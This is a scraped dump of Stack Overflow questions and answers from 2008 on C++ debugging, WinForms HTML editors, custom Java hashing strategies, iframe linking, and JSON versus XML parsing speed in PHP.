<p>Then I placed some try/catch blocks and low and behold, when I don't debug there is no exception. That is, I have code that looks like this:</p>
<p><code><pre>
std::vector<MyClass*> ListOfStuff;
.
.
.
try
{
.
.
.
const MyClass * localPointer = ListOfStuff[i]; //This is where the exception occurs
.
.
}
catch (...)
{
int x = 0; //place break here
}
</pre></code>
So if I step through the code line by line I'll get an exception and shot to the catch. But if I just let it run with a breakpoint inside the catch nothing happens. Using an iterator has the same behavior. And I can successfully check the size of the vector so I know I'm within the bounds.
<br>
Can anyone tell me what's going on? If it matters I'm using some standard windows libraries and openGL.</p>
|
[
{
"answer_id": 214120,
"author": "Doug T.",
"author_id": 8123,
"author_profile": "https://Stackoverflow.com/users/8123",
"pm_score": 1,
"selected": false,
"text": "<p>Is the exception an ASSERT? These may get compiled out at compile time or otherwise throw an assertion.</p>\n\n<p>For example, you could have</p>\n\n<pre><code>#ifdef DEBUG\n#define ASSERT(cond) if (cond) throw CDebugAssertionObj;\n#else\n#define ASSERT(cond)\n#endif\n</code></pre>\n"
},
{
"answer_id": 214126,
"author": "billjamesdev",
"author_id": 13824,
"author_profile": "https://Stackoverflow.com/users/13824",
"pm_score": 0,
"selected": false,
"text": "<p>If you're using a good IDE that allows conditional breakpoints (such as, \"break here if i == 5\"), then it's possible the condition itself is causing the exception. </p>\n\n<p>Had that one for while... my head hurt when I found it.</p>\n"
},
{
"answer_id": 214134,
"author": "Michael Burr",
"author_id": 12711,
"author_profile": "https://Stackoverflow.com/users/12711",
"pm_score": 2,
"selected": false,
"text": "<p>You can try placing a</p>\n\n<pre><code>DebugBreak();\n</code></pre>\n\n<p>call in the <code>catch</code> clause. If the app is running in the debugger, it should get control. If it's not running in the debugger you should get an opportunity to attach the \"Just in Time\" debugger (which is usually Visual Studio if you have that installed).</p>\n"
},
{
"answer_id": 214189,
"author": "Henk",
"author_id": 4613,
"author_profile": "https://Stackoverflow.com/users/4613",
"pm_score": 1,
"selected": false,
"text": "<p>I'm referring to VS2005 but it should be applicable in your case. If you access the IDE <strong>Debug</strong> > <strong>Exceptions..</strong> menu item you can specify the exception types that the IDE debugger should break on when <strong>thrown</strong> which should cause you to see the line the exception was raised by when single stepping through the application.</p>\n\n<p>You may need to play around with what types to catch (some 1st chance exceptions are not actually problems) but it will be helpful in identifying the point the exception is raised.</p>\n"
},
{
"answer_id": 214417,
"author": "Adam Rosenfield",
"author_id": 9530,
"author_profile": "https://Stackoverflow.com/users/9530",
"pm_score": 0,
"selected": false,
"text": "<p>Is that code part of a class method, and is <code>ListOfStuff</code> a member of the class? If so, check to make sure that your <code>this</code> pointer is valid.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214109",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23829/"
] |
I was getting bad data from an application I was writting using C++ in Visual Studio 2k3 so I decided to debug it. Then I found it was throwing an exception but one I can't track down.
Then I placed some try/catch blocks and low and behold, when I don't debug there is no exception. That is, I have code that looks like this:
````
std::vector<MyClass*> ListOfStuff;
.
.
.
try
{
.
.
.
const MyClass * localPointer = ListOfStuff[i]; //This is where the exception occurs
.
.
}
catch (...)
{
int x = 0; //place break here
}
````
So if I step through the code line by line I'll get an exception and shot to the catch. But if I just let it run with a breakpoint inside the catch nothing happens. Using an iterator has the same behavior. And I can successfully check the size of the vector so I know I'm within the bounds.
Can anyone tell me what's going on? If it matters I'm using some standard windows libraries and openGL.
|
You can try placing a
```
DebugBreak();
```
call in the `catch` clause. If the app is running in the debugger, it should get control. If it's not running in the debugger you should get an opportunity to attach the "Just in Time" debugger (which is usually Visual Studio if you have that installed).
|
214,124 |
<p>Anyone know of a good free winforms html editor for .NET. Ideally I would like html and preview modes along with the possibility of exporting to a pdf, word doc or similar. </p>
<p>Although the export I could probably create myself from the html output.</p>
<p>Another nice feature would be a paste from word that removes all the extra tags you usually end up with but again it's a nice to have not a required.</p>
|
[
{
"answer_id": 214152,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 6,
"selected": true,
"text": "<p>You can use the <a href=\"https://learn.microsoft.com/en-us/dotnet/framework/winforms/controls/webbrowser-control-windows-forms\" rel=\"nofollow noreferrer\">WebBrowser</a> control in design mode with a second <code>WebBrowser</code> control set in view mode.</p>\n\n<p>In order to put the <code>WebBrowser</code> control in design mode, you can use the following code.</p>\n\n<p>This code is a super stripped down version of a WYSIWYG editor for one of our software products.</p>\n\n<p>Simply create a new Form, drop a <code>WebBrowser</code> control on it, and put this in the Form.Load:<br></p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Me.WebBrowser1.Navigate(\"\")\nApplication.DoEvents()\nMe.WebBrowser1.Document.OpenNew(False).Write(\"<html><body><div id=\"\"editable\"\">Edit this text</div></body></html>\")\n\n'turns off document body editing\nFor Each el As HtmlElement In Me.WebBrowser1.Document.All\n el.SetAttribute(\"unselectable\", \"on\")\n el.SetAttribute(\"contenteditable\", \"false\")\nNext\n\n'turns on editable div editing\nWith Me.WebBrowser1.Document.Body.All(\"editable\")\n .SetAttribute(\"width\", Me.Width & \"px\")\n .SetAttribute(\"height\", \"100%\")\n .SetAttribute(\"contenteditable\", \"true\")\nEnd With\n\n'turns on edit mode\nMe.WebBrowser1.ActiveXInstance.Document.DesignMode = \"On\"\n'stops right click->Browse View\nMe.WebBrowser1.IsWebBrowserContextMenuEnabled = False\n</code></pre>\n"
},
{
"answer_id": 491969,
"author": "Ian Ringrose",
"author_id": 57159,
"author_profile": "https://Stackoverflow.com/users/57159",
"pm_score": 0,
"selected": false,
"text": "<p>see <a href=\"http://www.maconstateit.net/tutorials/JSDHTML/JSDHTML12/jsdhtml12-02.htm\" rel=\"nofollow noreferrer\">http://www.maconstateit.net/tutorials/JSDHTML/JSDHTML12/jsdhtml12-02.htm</a> for an sample HTML edtior that makes use of editing surport in IE.</p>\n\n<p><a href=\"http://www.mozilla.org/editor/midasdemo/\" rel=\"nofollow noreferrer\">http://www.mozilla.org/editor/midasdemo/</a> and <a href=\"http://starkravingfinkle.org/blog/wp-content/uploads/2007/07/contenteditable.htm\" rel=\"nofollow noreferrer\">http://starkravingfinkle.org/blog/wp-content/uploads/2007/07/contenteditable.htm</a> also works in IE and gives examples of how to do a toolbar, for fonts, bold, italic etc</p>\n\n<hr>\n\n<p>See these questions for my experience when I tried do so something like this.</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/491790/risk-of-using-contenteditable-in-ie\">Risk of using contentEditable in\nIE</a> </li>\n<li><a href=\"https://stackoverflow.com/questions/527866/why-is-contenteditable-removing-id-from-div\">Why is ContentEditable\nremoving “ID” from div</a></li>\n</ul>\n\n<p>I also had lots of other problem, including have to write resize logic in jscript to get the HTML editor to size along with the WinForm form and having to pass the default form/coontrol colours into the HTML editor so that it looked write then users changed colour schemes on Windows.</p>\n\n<p><strong>Therefore if I need to do this again, I would use a 3rd party HTML editor (free or paid for)</strong></p>\n"
},
{
"answer_id": 1164931,
"author": "Benjamin Wegman",
"author_id": 99603,
"author_profile": "https://Stackoverflow.com/users/99603",
"pm_score": 3,
"selected": false,
"text": "<p>This project seems to be no longer available. Please refer to one of the other answers.</p>\n<blockquote>\n<p>I'm considering using Writer by Lutz Roeder (of Reflector fame). A basic Html editor written completely in C#, provided as-is with source code. Look for it at <a href=\"http://www.lutzroeder.com/dotnet/\" rel=\"nofollow noreferrer\">http://www.lutzroeder.com/dotnet/</a></p>\n</blockquote>\n"
},
{
"answer_id": 7507157,
"author": "CDS",
"author_id": 957923,
"author_profile": "https://Stackoverflow.com/users/957923",
"pm_score": 4,
"selected": false,
"text": "<pre><code>//CODE in C#\nwebBrowser1.Navigate(\"about:blank\");\nApplication.DoEvents();\nwebBrowser1.Document.OpenNew(false).Write(\"<html><body><div id=\\\"editable\\\">Edit this text</div></body></html>\"); \n\nforeach (HtmlElement el in webBrowser1.Document.All)\n{\n el.SetAttribute(\"unselectable\", \"on\");\n el.SetAttribute(\"contenteditable\", \"false\");\n}\n\nwebBrowser1.Document.Body.SetAttribute(\"width\", this.Width.ToString() + \"px\"); \nwebBrowser1.Document.Body.SetAttribute(\"height\", \"100%\"); \nwebBrowser1.Document.Body.SetAttribute(\"contenteditable\", \"true\");\nwebBrowser1.Document.DomDocument.GetType().GetProperty(\"designMode\").SetValue(webBrowser1.Document.DomDocument, \"On\", null);\nwebBrowser1.IsWebBrowserContextMenuEnabled = false;\n</code></pre>\n"
},
{
"answer_id": 11271666,
"author": "Emran Hussain",
"author_id": 647459,
"author_profile": "https://Stackoverflow.com/users/647459",
"pm_score": 2,
"selected": false,
"text": "<p>SpiceLogic .NET WinForms HTML Editor Control, not free, but it covers everything whatever you are looking for. Especially, <strong>Paste from MS word</strong> feature is really efficient. Clicking that MS Word Paste button will paste the content from Clipboard to the Editor and clean up the ms word specific tags and generate clean XHTML. If the MS Word contains some images, this editor will detect those images too and the output XHTML will contain the image tag with correct paths for those images.</p>\n\n<p><a href=\"https://www.spicelogic.com/Products/NET-WinForms-HTML-Editor-Control-8\" rel=\"nofollow noreferrer\">https://www.spicelogic.com/Products/NET-WinForms-HTML-Editor-Control-8</a></p>\n\n<p><img src=\"https://i.stack.imgur.com/u3LM9.png\" alt=\"enter image description here\"></p>\n"
},
{
"answer_id": 62888442,
"author": "Hello World",
"author_id": 13926250,
"author_profile": "https://Stackoverflow.com/users/13926250",
"pm_score": 0,
"selected": false,
"text": "<p>If you just need to simply format some texts, you can find many open source projects on <a href=\"https://www.codeproject.com/\" rel=\"nofollow noreferrer\">codeproject.com</a>.</p>\n<p>I think Netrix's functionality is the most comprehensive in all these free controls. The link as below:\n<a href=\"https://github.com/joergkrause/netrix\" rel=\"nofollow noreferrer\">https://github.com/joergkrause/netrix</a></p>\n<p>Of course, there are some paid commercial controls, which usually provide a more friendly interface and richer functions, such as this one <a href=\"http://www.mysofttool.com/net-winforms-html-editor-control\" rel=\"nofollow noreferrer\">BaiqiSoft.HtmlEditor</a>. <strong>It allows me to merge/unmerge cells, adjust row height and column width for an inserting table.</strong></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214124",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16989/"
] |
Anyone know of a good free winforms html editor for .NET. Ideally I would like html and preview modes along with the possibility of exporting to a pdf, word doc or similar.
Although the export I could probably create myself from the html output.
Another nice feature would be a paste from word that removes all the extra tags you usually end up with but again it's a nice to have not a required.
|
You can use the [WebBrowser](https://learn.microsoft.com/en-us/dotnet/framework/winforms/controls/webbrowser-control-windows-forms) control in design mode with a second `WebBrowser` control set in view mode.
In order to put the `WebBrowser` control in design mode, you can use the following code.
This code is a super stripped down version of a WYSIWYG editor for one of our software products.
Simply create a new Form, drop a `WebBrowser` control on it, and put this in the Form.Load:
```vb
Me.WebBrowser1.Navigate("")
Application.DoEvents()
Me.WebBrowser1.Document.OpenNew(False).Write("<html><body><div id=""editable"">Edit this text</div></body></html>")
'turns off document body editing
For Each el As HtmlElement In Me.WebBrowser1.Document.All
el.SetAttribute("unselectable", "on")
el.SetAttribute("contenteditable", "false")
Next
'turns on editable div editing
With Me.WebBrowser1.Document.Body.All("editable")
.SetAttribute("width", Me.Width & "px")
.SetAttribute("height", "100%")
.SetAttribute("contenteditable", "true")
End With
'turns on edit mode
Me.WebBrowser1.ActiveXInstance.Document.DesignMode = "On"
'stops right click->Browse View
Me.WebBrowser1.IsWebBrowserContextMenuEnabled = False
```
|
214,136 |
<p>With a <code>TreeMap</code> it's trivial to provide a custom <code>Comparator</code>, thus overriding the semantics provided by <code>Comparable</code> objects added to the map. <code>HashMap</code>s however cannot be controlled in this manner; the functions providing hash values and equality checks cannot be 'side-loaded'.</p>
<p>I suspect it would be both easy and useful to design an interface and to retrofit this into <code>HashMap</code> (or a new class)? Something like this, except with better names:</p>
<pre><code> interface Hasharator<T> {
int alternativeHashCode(T t);
boolean alternativeEquals(T t1, T t2);
}
class HasharatorMap<K, V> {
HasharatorMap(Hasharator<? super K> hasharator) { ... }
}
class HasharatorSet<T> {
HasharatorSet(Hasharator<? super T> hasharator) { ... }
}
</code></pre>
<p>The <a href="https://stackoverflow.com/questions/212562/is-there-a-good-way-to-have-a-mapstring-get-and-put-ignore-case">case insensitive <code>Map</code></a> problem gets a trivial solution:</p>
<pre><code> new HasharatorMap(String.CASE_INSENSITIVE_EQUALITY);
</code></pre>
<p>Would this be doable, or can you see any fundamental problems with this approach?</p>
<p>Is the approach used in any existing (non-JRE) libs? (Tried google, no luck.)</p>
<p>EDIT: Nice workaround presented by hazzen, but I'm afraid this is the workaround I'm trying to avoid... ;)</p>
<p>EDIT: Changed title to no longer mention "Comparator"; I suspect this was a bit confusing. </p>
<p>EDIT: Accepted answer with relation to performance; would love a more specific answer!</p>
<p>EDIT: There is an implementation; see the accepted answer below.</p>
<p>EDIT: Rephrased the first sentence to indicate more clearly that it's the side-loading I'm after (and not ordering; ordering does not belong in HashMap).</p>
|
[
{
"answer_id": 214142,
"author": "hazzen",
"author_id": 5066,
"author_profile": "https://Stackoverflow.com/users/5066",
"pm_score": 2,
"selected": false,
"text": "<p>Note: As noted in all other answers, HashMaps don't have an explicit ordering. They only recognize \"equality\". Getting an order out of a hash-based data structure is meaningless, as each object is turned into a hash - essentially a random number.</p>\n\n<p>You can always write a hash function for a class (and often times must), as long as you do it carefully. This is a hard thing to do properly because hash-based data structures rely on a random, uniform distribution of hash values. In Effective Java, there is a large amount of text devoted to properly implementing a hash method with good behaviour.</p>\n\n<p>With all that being said, if you just want your hashing to ignore the case of a <code>String</code>, you can write a wrapper class around <code>String</code> for this purpose and insert those in your data structure instead.</p>\n\n<p>A simple implementation:</p>\n\n<pre><code>public class LowerStringWrapper {\n public LowerStringWrapper(String s) {\n this.s = s;\n this.lowerString = s.toLowerString();\n }\n\n // getter methods omitted\n\n // Rely on the hashing of String, as we know it to be good.\n public int hashCode() { return lowerString.hashCode(); }\n\n // We overrode hashCode, so we MUST also override equals. It is required\n // that if a.equals(b), then a.hashCode() == b.hashCode(), so we must\n // restore that invariant.\n public boolean equals(Object obj) {\n if (obj instanceof LowerStringWrapper) {\n return lowerString.equals(((LowerStringWrapper)obj).lowerString;\n } else {\n return lowerString.equals(obj);\n }\n }\n\n private String s;\n private String lowerString;\n}\n</code></pre>\n"
},
{
"answer_id": 214199,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 3,
"selected": false,
"text": "<p>.NET has this via IEqualityComparer (for a type which can compare two objects) and IEquatable (for a type which can compare itself to another instance).</p>\n\n<p>In fact, I believe it was a mistake to define equality and hashcodes in java.lang.Object or System.Object at all. Equality in particular is hard to define in a way which makes sense with inheritance. I keep meaning to blog about this...</p>\n\n<p>But yes, basically the idea is sound.</p>\n"
},
{
"answer_id": 214361,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>good question, ask josh bloch. i submitted that concept as an RFE in java 7, but it was dropped, i believe the reason was something performance related. i agree, though, should have been done.</p>\n"
},
{
"answer_id": 215179,
"author": "volley",
"author_id": 13905,
"author_profile": "https://Stackoverflow.com/users/13905",
"pm_score": 0,
"selected": false,
"text": "<p>I suspect this has not been done because it would prevent hashCode caching?</p>\n\n<p>I attempted creating a generic Map solution where all keys are silently wrapped. It turned out that the wrapper would have to hold the wrapped object, the cached hashCode and a reference to the callback interface responsible for equality-checks. This is obviously not as efficient as using a wrapper class, where you'd only have to cache the original key plus one more object (see hazzens answer).</p>\n\n<p>(I also bumped into a problem related to generics; the get-method accepts Object as input, so the callback interface responsible for hashing would have to perform an additional instanceof-check. Either that, or the map class would have to know the Class of its keys.)</p>\n"
},
{
"answer_id": 215224,
"author": "Daniel Spiewak",
"author_id": 9815,
"author_profile": "https://Stackoverflow.com/users/9815",
"pm_score": 0,
"selected": false,
"text": "<p>This is an interesting idea, but it's absolutely horrendous for performance. The reason for this is quite fundamental to the <a href=\"http://en.wikipedia.org/wiki/Hash_table\" rel=\"nofollow noreferrer\">idea of a hashtable</a>: the ordering cannot be relied upon. Hashtables are very fast (<a href=\"http://en.wikipedia.org/wiki/Constant_time\" rel=\"nofollow noreferrer\">constant time</a>) because of the way in which they index elements in the table: by computing a pseudo-unique integer hash for that element and accessing that location in an array. It's literally computing a location in memory and directly storing the element.</p>\n\n<p>This contrasts with a balanced binary search tree (<code>TreeMap</code>) which must start at the root and work its way down to the desired node every time a lookup is required. Wikipedia has some <a href=\"http://en.wikipedia.org/wiki/Binary_search_tree\" rel=\"nofollow noreferrer\">more in-depth analysis</a>. To summarize, the efficiency of a tree map is dependent upon a consistent ordering, thus the order of the elements is predictable and sane. However, because of the performance hit imposed by the \"traverse to your destination\" approach, BSTs are only able to provide <em>O(log(n))</em> performance. For large maps, this can be a significant performance hit.</p>\n\n<p>It is possible to impose a consistent ordering on a hashtable, but to do so involves using techniques similar to <code>LinkedHashMap</code> and manually maintaining the ordering. Alternatively, two separate data structures can be maintained internally: a hashtable and a tree. The table can be used for lookups, while the tree can be used for iteration. The problem of course is this uses more than double the required memory. Also, insertions are only as fast as the tree: O(log(n)). Concurrent tricks can bring this down a bit, but that isn't a reliable performance optimization.</p>\n\n<p>In short, your idea <em>sounds</em> really good, but if you actually tried to implement it, you would see that to do so would impose massive performance limitations. The final verdict is (and has been for decades): if you need performance, use a hashtable; if you need ordering and can live with degraded performance, use a balanced binary search tree. I'm afraid there's really no efficiently combining the two structures without losing some of the guarantees of one or the other.</p>\n"
},
{
"answer_id": 1876747,
"author": "volley",
"author_id": 13905,
"author_profile": "https://Stackoverflow.com/users/13905",
"pm_score": 3,
"selected": true,
"text": "<p><a href=\"http://trove4j.sourceforge.net/html/overview.html\" rel=\"nofollow noreferrer\">Trove4j</a> has the feature I'm after and they call it hashing strategies.</p>\n\n<p>Their map has an implementation with different limitations and thus different prerequisites, so this does not implicitly mean that an implementation for Java's \"native\" HashMap would be feasible.</p>\n"
},
{
"answer_id": 5701834,
"author": "maaartinus",
"author_id": 581205,
"author_profile": "https://Stackoverflow.com/users/581205",
"pm_score": 0,
"selected": false,
"text": "<p>There's such a feature in <code>com.google.common.collect.CustomConcurrentHashMap</code>, unfortunately, there's currently no public way how to set the <code>Equivalence</code> (their <code>Hasharator</code>). Maybe they're not yet done with it, maybe they don't consider the feature to be useful enough. Ask at the <a href=\"https://groups.google.com/forum/#!forum/guava-discuss\" rel=\"nofollow\">guava mailing list</a>.</p>\n\n<p>I wonder why it haven't happened yet, as it was mentioned in this <a href=\"http://www.youtube.com/watch?v=9ni_KEkHfto\" rel=\"nofollow\">talk</a> over two years ago.</p>\n"
},
{
"answer_id": 20030782,
"author": "Lukas Eder",
"author_id": 521799,
"author_profile": "https://Stackoverflow.com/users/521799",
"pm_score": 3,
"selected": false,
"text": "<p>A bit late for you, but for future visitors, it might be worth knowing that commons-collections has an <code>AbstractHashedMap</code> (in <a href=\"https://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/map/AbstractHashedMap.html\" rel=\"nofollow noreferrer\">3.2.2</a> and with generics in <a href=\"https://commons.apache.org/proper/commons-collections/javadocs/api-4.0/org/apache/commons/collections4/map/AbstractHashedMap.html\" rel=\"nofollow noreferrer\">4.0</a>). You can override these protected methods to achieve your desired behaviour:</p>\n\n<pre><code>protected int hash(Object key) { ... }\nprotected boolean isEqualKey(Object key1, Object key2) { ... }\nprotected boolean isEqualValue(Object value1, Object value2) { ... }\nprotected HashEntry createEntry(\n HashEntry next, int hashCode, Object key, Object value) { ... }\n</code></pre>\n\n<p>An example implementation of such an alternative <code>HashedMap</code> is commons-collections' own <code>IdentityMap</code> (only up to <a href=\"https://commons.apache.org/proper/commons-collections/javadocs/api-3.2.2/org/apache/commons/collections/map/IdentityMap.html\" rel=\"nofollow noreferrer\">3.2.2</a> as Java has <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/IdentityHashMap.html\" rel=\"nofollow noreferrer\">its own</a> since 1.4).</p>\n\n<p>This is not as powerful as providing an external \"<code>Hasharator</code>\" to a <code>Map</code> instance. You have to implement a new map class for every hashing strategy (composition vs. inheritance striking back...). But it's still good to know.</p>\n"
},
{
"answer_id": 27727253,
"author": "Craig P. Motlin",
"author_id": 23572,
"author_profile": "https://Stackoverflow.com/users/23572",
"pm_score": 3,
"selected": false,
"text": "<p><a href=\"https://github.com/goldmansachs/gs-collections/blob/master/collections-api/src/main/java/com/gs/collections/api/block/HashingStrategy.java\" rel=\"noreferrer\">HashingStrategy</a> is the concept you're looking for. It's a strategy interface that allows you to define custom implementations of equals and hashcode.</p>\n\n<pre><code>public interface HashingStrategy<E>\n{\n int computeHashCode(E object);\n boolean equals(E object1, E object2);\n}\n</code></pre>\n\n<p>You can't use a <code>HashingStrategy</code> with the built in <code>HashSet</code> or <code>HashMap</code>. <a href=\"https://github.com/goldmansachs/gs-collections\" rel=\"noreferrer\">GS Collections</a> includes a java.util.Set called <code>UnifiedSetWithHashingStrategy</code> and a java.util.Map called <code>UnifiedMapWithHashingStrategy</code>.</p>\n\n<p>Let's look at an example.</p>\n\n<pre><code>public class Data\n{\n private final int id;\n\n public Data(int id)\n {\n this.id = id;\n }\n\n public int getId()\n {\n return id;\n }\n\n // No equals or hashcode\n}\n</code></pre>\n\n<p>Here's how you might set up a <code>UnifiedSetWithHashingStrategy</code> and use it.</p>\n\n<pre><code>java.util.Set<Data> set =\n new UnifiedSetWithHashingStrategy<>(HashingStrategies.fromFunction(Data::getId));\nAssert.assertTrue(set.add(new Data(1)));\n\n// contains returns true even without hashcode and equals\nAssert.assertTrue(set.contains(new Data(1)));\n\n// Second call to add() doesn't do anything and returns false\nAssert.assertFalse(set.add(new Data(1)));\n</code></pre>\n\n<p>Why not just use a <code>Map</code>? <code>UnifiedSetWithHashingStrategy</code> uses half the memory of a <code>UnifiedMap</code>, and one quarter the memory of a <code>HashMap</code>. And sometimes you don't have a convenient key and have to create a synthetic one, like a tuple. That can waste more memory.</p>\n\n<p>How do we perform lookups? Remember that Sets have <code>contains()</code>, but not <code>get()</code>. <code>UnifiedSetWithHashingStrategy</code> implements <code>Pool</code> in addition to <code>Set</code>, so it also implements a form of <code>get()</code>.</p>\n\n<p>Here's a simple approach to handle case-insensitive Strings.</p>\n\n<pre><code>UnifiedSetWithHashingStrategy<String> set = \n new UnifiedSetWithHashingStrategy<>(HashingStrategies.fromFunction(String::toLowerCase));\nset.add(\"ABC\");\nAssert.assertTrue(set.contains(\"ABC\"));\nAssert.assertTrue(set.contains(\"abc\"));\nAssert.assertFalse(set.contains(\"def\"));\nAssert.assertEquals(\"ABC\", set.get(\"aBc\"));\n</code></pre>\n\n<p>This shows off the API, but it's not appropriate for production. The problem is that the HashingStrategy constantly delegates to <code>String.toLowerCase()</code> which creates a bunch of garbage Strings. Here's how you can create an efficient hashing strategy for case-insensitive Strings.</p>\n\n<pre><code>public static final HashingStrategy<String> CASE_INSENSITIVE =\n new HashingStrategy<String>()\n {\n @Override\n public int computeHashCode(String string)\n {\n int hashCode = 0;\n for (int i = 0; i < string.length(); i++)\n {\n hashCode = 31 * hashCode + Character.toLowerCase(string.charAt(i));\n }\n return hashCode;\n }\n\n @Override\n public boolean equals(String string1, String string2)\n {\n return string1.equalsIgnoreCase(string2);\n }\n };\n</code></pre>\n\n<p><strong>Note:</strong> I am a developer on GS collections.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214136",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13905/"
] |
With a `TreeMap` it's trivial to provide a custom `Comparator`, thus overriding the semantics provided by `Comparable` objects added to the map. `HashMap`s however cannot be controlled in this manner; the functions providing hash values and equality checks cannot be 'side-loaded'.
I suspect it would be both easy and useful to design an interface and to retrofit this into `HashMap` (or a new class)? Something like this, except with better names:
```
interface Hasharator<T> {
int alternativeHashCode(T t);
boolean alternativeEquals(T t1, T t2);
}
class HasharatorMap<K, V> {
HasharatorMap(Hasharator<? super K> hasharator) { ... }
}
class HasharatorSet<T> {
HasharatorSet(Hasharator<? super T> hasharator) { ... }
}
```
The [case insensitive `Map`](https://stackoverflow.com/questions/212562/is-there-a-good-way-to-have-a-mapstring-get-and-put-ignore-case) problem gets a trivial solution:
```
new HasharatorMap(String.CASE_INSENSITIVE_EQUALITY);
```
Would this be doable, or can you see any fundamental problems with this approach?
Is the approach used in any existing (non-JRE) libs? (Tried google, no luck.)
EDIT: Nice workaround presented by hazzen, but I'm afraid this is the workaround I'm trying to avoid... ;)
EDIT: Changed title to no longer mention "Comparator"; I suspect this was a bit confusing.
EDIT: Accepted answer with relation to performance; would love a more specific answer!
EDIT: There is an implementation; see the accepted answer below.
EDIT: Rephrased the first sentence to indicate more clearly that it's the side-loading I'm after (and not ordering; ordering does not belong in HashMap).
|
[Trove4j](http://trove4j.sourceforge.net/html/overview.html) has the feature I'm after and they call it hashing strategies.
Their map has an implementation with different limitations and thus different prerequisites, so this does not implicitly mean that an implementation for Java's "native" HashMap would be feasible.
|
214,140 |
<p>I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in one iframe and some data in another iframe. Any ideas?</p>
|
[
{
"answer_id": 214153,
"author": "davethegr8",
"author_id": 12930,
"author_profile": "https://Stackoverflow.com/users/12930",
"pm_score": 3,
"selected": true,
"text": "<p>Short answer: No.</p>\n\n<p>Longer answer: With what you describe, using strictly X/HTML, this isn't possible. You could add in javascript to change the iframe src, however. Something like:</p>\n\n<pre><code>function click_link(id) {\n document.getElementById('iframe1').src = \"page.ext?id=\" + id;\n document.getElementById('iframe2').src = \"other_page.ext?id=\" + id;\n}\n</code></pre>\n\n<p>But of course, you probably shouldn't be using iframes anyways...</p>\n"
},
{
"answer_id": 214158,
"author": "Kris",
"author_id": 18565,
"author_profile": "https://Stackoverflow.com/users/18565",
"pm_score": 1,
"selected": false,
"text": "<p>The easy way is javascript, but that method has been answered already. The only way to do this (without relying on javascript) is serverside.</p>\n\n<p>Make your <a target > link back to the top frameset that contains all the frames you want to change and on the serverside change the src attributes of the frames.</p>\n"
},
{
"answer_id": 215828,
"author": "Kornel",
"author_id": 27009,
"author_profile": "https://Stackoverflow.com/users/27009",
"pm_score": 0,
"selected": false,
"text": "<p>Don't use frames. They're bad for usability, bad for SEO, and cause problems like this.</p>\n\n<p>This may seem unhelpful advice, but really in the long run you'll avoid a lot of headaches. </p>\n\n<p>If you merge files on the server side, they'll work without problems in every browser, search engine, etc. Reloading of a simple page doesn't have to be slower than loading of 2 iframes.</p>\n\n<p>Or, in case of showing photos with descriptions, a simple DHTML could do the job:</p>\n\n<pre><code>img.onclick = function(){\n $('bigphoto').src = this.src.replace(/_small/,'_big');\n $('description').innerHTML = this.title;\n}\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214140",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27171/"
] |
I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in one iframe and some data in another iframe. Any ideas?
|
Short answer: No.
Longer answer: With what you describe, using strictly X/HTML, this isn't possible. You could add in javascript to change the iframe src, however. Something like:
```
function click_link(id) {
document.getElementById('iframe1').src = "page.ext?id=" + id;
document.getElementById('iframe2').src = "other_page.ext?id=" + id;
}
```
But of course, you probably shouldn't be using iframes anyways...
|
214,143 |
<p>I'm starting to develop a web application in PHP that I hope will become incredibly popular and make me famous and rich. :-)</p>
<p>If that time comes, my decision whether to parse the API's data as XML with SimpleXML or to use json_decode could make a difference in the app's scalability.</p>
<p>Does anyone know which of these approaches is more efficient for the server?</p>
<p><strong>Update:</strong> I ran a rudimentary test to see which method was more performant. It appears that <code>json_decode</code> is slightly faster executing than <code>simplexml_load_string</code>. This isn't terribly conclusive because it doesn't test things like the scalability of concurrent processes. My conclusion is that I will go with SimpleXML for the time being because of its support for XPath expressions.</p>
<pre><code><?php
$xml = file_get_contents('sample.xml');
$json = file_get_contents('sample.js');
$iters = 1000;
// simplexml_load_string
$start_xml = microtime(true);
for ($i = 0; $i < $iters; ++$i) {
$obj = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA);
}
$end_xml = microtime(true);
// json_decode
$start_json = microtime(true);
for ($i = 0; $i < $iters; ++$i) {
$obj = json_decode($json);
}
$end_json = microtime(true);
?>
<pre>XML elapsed: <?=sprintf('%.4f', ($end_xml - $start_xml))?></pre>
<pre>JSON elapsed: <?=sprintf('%.4f', ($end_json - $start_json))?></pre>
</code></pre>
<p>Result:</p>
<pre><code>XML elapsed: 9.9836
JSON elapsed: 8.3606
</code></pre>
|
[
{
"answer_id": 214151,
"author": "Randy",
"author_id": 9361,
"author_profile": "https://Stackoverflow.com/users/9361",
"pm_score": 4,
"selected": true,
"text": "<p>As the \"lighter\" format, I'd expect JSON to be slightly less stressful on the server, but I doubt it will be the biggest performance issue you find yourself dealing with as your site grows in popularity. Use whichever format you're more comfortable with. </p>\n\n<p>Alternatively, if you know how you'll be structuring your data, you could try making an XML-formatted version and a JSON-formatted version and just run it against your setup a few hundred thousand times to see if it makes a noticeable difference.</p>\n"
},
{
"answer_id": 214328,
"author": "Keith Twombley",
"author_id": 23866,
"author_profile": "https://Stackoverflow.com/users/23866",
"pm_score": 2,
"selected": false,
